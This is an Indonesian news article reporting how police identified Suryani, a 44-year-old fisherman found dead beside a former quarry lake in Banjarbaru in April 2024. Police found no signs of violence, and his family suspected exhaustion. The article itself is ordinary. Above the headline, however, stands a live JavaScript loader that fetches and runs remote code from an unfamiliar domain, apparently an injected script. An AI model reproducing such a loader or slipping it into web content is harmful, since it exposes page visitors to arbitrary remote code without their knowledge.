(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

HEADLINE

Pergi Memancing Sejak Pagi, Suryani ‘Pulang’ dari Pinggir Danau Bekas Galian C

KANALKALIMANTAN.COM, BANJARBARU – Polsek Liang Anggang mengungkap kronologi penemuan jasad laki-laki di pinggir danau Jalan Batu Besi, Kelurahan Landasan Ulin Timur, Kecamatan Landasan Ulin, Kota Banjarbaru, Minggu (21/4/2024) siang.

Jasad lelaki itu persisnya ditemukan pertama kali oleh warga di pinggir danau bekas galian C, tergeletak dengan posisi miring ke kiri dan kedua kaki melipat sekitar pukul 13.30 Wita.

“Laki-laki diduga seorang pemancing ikan di pinggir danau Batu Besi bekas galian C, sedang tergeletak dengan posisi miring ke kiri dan kedua kaki melipat,” beber Kapolsek Liang Anggang, Kompol Yuda Kumoro Pardede, Minggu (21/4/2024) petang.

Kapolsek Liang Anggang mengatakan saksi yang pertama kali melihat mendatangi laki-laki tersebut diduga sudah dalam keadaan meninggal dunia, hingga akhirnya saksi menghubungi Ketua RT.

“Kemudian Ketua RT mendatangi tempat tersebut dan melihat seorang laki-laki dalam kondisi miring tertelungkup yang diduga sudah meninggal dunia,” sambung dia.

Kompol Kumoro Pardede menjelaskan, saat dilakukan pemeriksaan terhadap jasad di lokasi kejadian tidak ditemukan identitas diri.

Kemudian jasad laki-laki itu dibawa ke RSD Idaman Banjarbaru untuk dilakukan pengambilan sidik jari dengan menggunakan alat Inafis Portable System (IPS).

“Dari hasil pengambilan sidik jari didapati identitas dengan keakuratan 510 kredit score pada jari kanan dan jari kiri keakuratan 370 kredit score,” jelasnya.

Hasil identifikasi, identitas jasad itu diketahui bernama Suryani berusia 44 tahun, beragama Islam dengan alamat Dusun Tawangsari RT 001 RW 002 Kelurahan Kedungombo, Kecamatan Tanjunganom, Kabupaten Nganjuk, Jawa Timur.

Kemudian polisi mendapati anggota keluarga Suryani bernama Siti Mahmudah yang tinggal di Kompoleks Griya Ulin Permai, Kelurahan Landasan Ulin Timur.

“Suryani diduga telah meninggal dunia sekitar satu jam dan tidak ditemukan ada tanda-tanda kekerasan, baik bekas senjata tajam maupun senjata tumpul,” sebutnya.

Menurut keterangan dari pihak keluarga, disebutkan Kapolsek, diduga Suryani mengalami kelelahan. Belakangan juga diketahui dari keterangan pihak keluarga, Suryani sering begadang dan kurang istirahat.

“Hari ini Suryani pergi untuk memancing dari rumah sekitar pukul 09.00 Wita, setelah sarapan dan minum kopi, hingga didapat informasi oleh keluarga bahwa Suryani telah meninggal dunia,” tuturnya.

Saat ini kata Kapolsek Liang Anggang, jenazah Suryani telah diserahkan kepada pihak keluarga untuk proses pemakaman.

Beberapa barang yang diamankan kepolisian berupa sebuah HP Oppo warna biru yang ditemukan di saku celana sebelah kiri. Uang tunai sebesar Rp77 ribu yang ditemukan di saku celana sebelah kanan.

Masih di lokasi pinggir danau bekas galian C juga ditemukn dua buah batang joran pancing beserta seperangkat alat pancing, satu unit sepeda motor Yamaha bernopol DA 3565 WP warna hitam yang milik korban, sebuah topi warna merah, sebungkus rokok merk PIN, serta sepasang sepatu. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie